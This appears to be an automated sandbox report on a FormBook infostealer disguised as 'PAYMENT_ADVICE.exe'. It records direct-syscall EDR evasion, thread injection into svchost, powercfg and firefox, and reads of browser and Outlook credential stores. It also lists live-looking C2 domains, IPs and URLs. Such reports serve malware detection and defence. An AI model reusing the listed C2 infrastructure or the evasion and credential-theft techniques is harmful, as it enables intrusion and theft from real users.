                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828918 mov eax, dword ptr fs:[00000030h]2_2_03828918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828918 mov eax, dword ptr fs:[00000030h]2_2_03828918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B892A mov eax, dword ptr fs:[00000030h]2_2_038B892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C892B mov eax, dword ptr fs:[00000030h]2_2_038C892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B0946 mov eax, dword ptr fs:[00000030h]2_2_038B0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904940 mov eax, dword ptr fs:[00000030h]2_2_03904940
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03856962 mov eax, dword ptr fs:[00000030h]2_2_03856962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03856962 mov eax, dword ptr fs:[00000030h]2_2_03856962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03856962 mov eax, dword ptr fs:[00000030h]2_2_03856962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387096E mov eax, dword ptr fs:[00000030h]2_2_0387096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387096E mov edx, dword ptr fs:[00000030h]2_2_0387096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387096E mov eax, dword ptr fs:[00000030h]2_2_0387096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D4978 mov eax, dword ptr fs:[00000030h]2_2_038D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D4978 mov eax, dword ptr fs:[00000030h]2_2_038D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC97C mov eax, dword ptr fs:[00000030h]2_2_038BC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830887 mov eax, dword ptr fs:[00000030h]2_2_03830887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC89D mov eax, dword ptr fs:[00000030h]2_2_038BC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385E8C0 mov eax, dword ptr fs:[00000030h]2_2_0385E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039008C0 mov eax, dword ptr fs:[00000030h]2_2_039008C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FA8E4 mov eax, dword ptr fs:[00000030h]2_2_038FA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C8F9 mov eax, dword ptr fs:[00000030h]2_2_0386C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C8F9 mov eax, dword ptr fs:[00000030h]2_2_0386C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BC810 mov eax, dword ptr fs:[00000030h]2_2_038BC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03852835 mov eax, dword ptr fs:[00000030h]2_2_03852835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03852835 mov eax, dword ptr fs:[00000030h]2_2_03852835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03852835 mov eax, dword ptr fs:[00000030h]2_2_03852835
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003980A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,0_2_003980A9
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0036A124 SetUnhandledExceptionFilter,0_2_0036A124
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0036A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0036A155

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtAllocateVirtualMemory: Direct from: 0x76EF48ECJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtQueryAttributesFile: Direct from: 0x76EF2E6CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtQueryVolumeInformationFile: Direct from: 0x76EF2F2CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtQuerySystemInformation: Direct from: 0x76EF48CCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtOpenSection: Direct from: 0x76EF2E0CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtDeviceIoControlFile: Direct from: 0x76EF2AECJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BECJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtQueryInformationToken: Direct from: 0x76EF2CACJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtCreateFile: Direct from: 0x76EF2FECJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtOpenFile: Direct from: 0x76EF2DCCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtTerminateThread: Direct from: 0x76EF2FCCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtOpenKeyEx: Direct from: 0x76EF2B9CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtSetInformationProcess: Direct from: 0x76EF2C5CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtProtectVirtualMemory: Direct from: 0x76EF2F9CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtWriteVirtualMemory: Direct from: 0x76EF2E3CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtNotifyChangeKey: Direct from: 0x76EF3C2CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtCreateMutant: Direct from: 0x76EF35CCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtResumeThread: Direct from: 0x76EF36ACJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtMapViewOfSection: Direct from: 0x76EF2D1CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtProtectVirtualMemory: Direct from: 0x76EE7B2EJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BFCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtQuerySystemInformation: Direct from: 0x76EF2DFCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtReadFile: Direct from: 0x76EF2ADCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtDelayExecution: Direct from: 0x76EF2DDCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtQueryInformationProcess: Direct from: 0x76EF2C26Jump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtResumeThread: Direct from: 0x76EF2FBCJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtCreateUserProcess: Direct from: 0x76EF371CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtAllocateVirtualMemory: Direct from: 0x76EF3C9CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtWriteVirtualMemory: Direct from: 0x76EF490CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtSetInformationThread: Direct from: 0x76EE63F9Jump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtClose: Direct from: 0x76EF2B6C
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtSetInformationThread: Direct from: 0x76EF2B4CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtReadVirtualMemory: Direct from: 0x76EF2E8CJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeNtCreateKey: Direct from: 0x76EF2C6CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\powercfg.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: NULL target: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: NULL target: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\powercfg.exeThread register set: target process: 3292Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\powercfg.exeThread APC queued: target process: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: B42008Jump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003987B1 LogonUserW,0_2_003987B1
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00343B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00343B3A
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003448D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_003448D7
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A4C27 mouse_event,0_2_003A4C27
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PAYMENT_ADVICE.exe"Jump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeProcess created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00397CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00397CAF
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0039874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_0039874B
                Source: PAYMENT_ADVICE.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                Source: UaxTqwGUmcKB.exe, 00000005.00000002.3886248018.0000000001B41000.00000002.00000001.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000005.00000000.2513586016.0000000001B41000.00000002.00000001.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000000.2661949733.0000000001431000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
                Source: PAYMENT_ADVICE.exe, UaxTqwGUmcKB.exe, 00000005.00000002.3886248018.0000000001B41000.00000002.00000001.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000005.00000000.2513586016.0000000001B41000.00000002.00000001.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000000.2661949733.0000000001431000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: UaxTqwGUmcKB.exe, 00000005.00000002.3886248018.0000000001B41000.00000002.00000001.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000005.00000000.2513586016.0000000001B41000.00000002.00000001.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000000.2661949733.0000000001431000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: UaxTqwGUmcKB.exe, 00000005.00000002.3886248018.0000000001B41000.00000002.00000001.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000005.00000000.2513586016.0000000001B41000.00000002.00000001.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000000.2661949733.0000000001431000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0036862B cpuid 0_2_0036862B
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00374E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00374E87
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00381E06 GetUserNameW,0_2_00381E06
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00373F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00373F3A
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003449A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_003449A0
                Source: PAYMENT_ADVICE.exe, 00000000.00000003.2038394805.000000000104E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000002.2051088774.000000000104E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2040179068.000000000104E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2038209181.000000000104E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2037807903.0000000000FF0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procmon.exe

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.2593190427.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3886512221.0000000003B90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3885564363.0000000002750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2592700767.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3886510200.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.3886149393.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3886566452.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2592496169.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\powercfg.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\powercfg.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: PAYMENT_ADVICE.exeBinary or memory string: WIN_81
                Source: PAYMENT_ADVICE.exeBinary or memory string: WIN_XP
                Source: PAYMENT_ADVICE.exeBinary or memory string: WIN_XPe
                Source: PAYMENT_ADVICE.exeBinary or memory string: WIN_VISTA
                Source: PAYMENT_ADVICE.exeBinary or memory string: WIN_7
                Source: PAYMENT_ADVICE.exeBinary or memory string: WIN_8
                Source: PAYMENT_ADVICE.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.2593190427.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3886512221.0000000003B90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3885564363.0000000002750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2592700767.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3886510200.0000000002CF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.3886149393.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3886566452.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2592496169.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003B6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_003B6283
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003B6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_003B6747

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		2
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets261
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem1
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1565110 Sample: PAYMENT_ADVICE.exe Startdate: 29/11/2024 Architecture: WINDOWS Score: 100 28 www.oneeyetrousersnake.xyz 2->28 30 www.heliopsis.xyz 2->30 32 8 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected FormBook 2->46 50 5 other signatures 2->50 10 PAYMENT_ADVICE.exe 4 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 30->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 10->64 66 Writes to foreign memory regions 10->66 68 2 other signatures 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 UaxTqwGUmcKB.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 powercfg.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 UaxTqwGUmcKB.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.smartguide.website 203.161.43.228, 50003, 50004, 50005 VNPT-AS-VNVNPTCorpVN Malaysia 22->34 36 oneeyetrousersnake.xyz 63.250.43.134, 49968, 49975, 49982 NAMECHEAP-NETUS United States 22->36 38 6 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                PAYMENT_ADVICE.exe37%ReversingLabsWin32.Trojan.Strab
                PAYMENT_ADVICE.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.gadget2chg.xyz/k6y2/0%Avira URL Cloudsafe
                http://www.smartguide.website0%Avira URL Cloudsafe
                http://www.gadget2chg.xyz/k6y2/?ej=DjJHGh2p&Kt=fgA7CTCLrtlGNeUoMGyIbSQ8EJ1iYKEZg/zzngBydhoDPXUc6XmRrpi1DmZrnRnENYfWN5nsDCGikMIgKABsR55prdsvYtX8s/hh6XNJsBZDoY3izyRr0mIV4vACAfrFQg==0%Avira URL Cloudsafe
                http://www.oneeyetrousersnake.xyz/4inx/0%Avira URL Cloudsafe
                http://www.smartguide.website/idns/0%Avira URL Cloudsafe
                http://www.wine-drinkers.club/hakt/0%Avira URL Cloudsafe
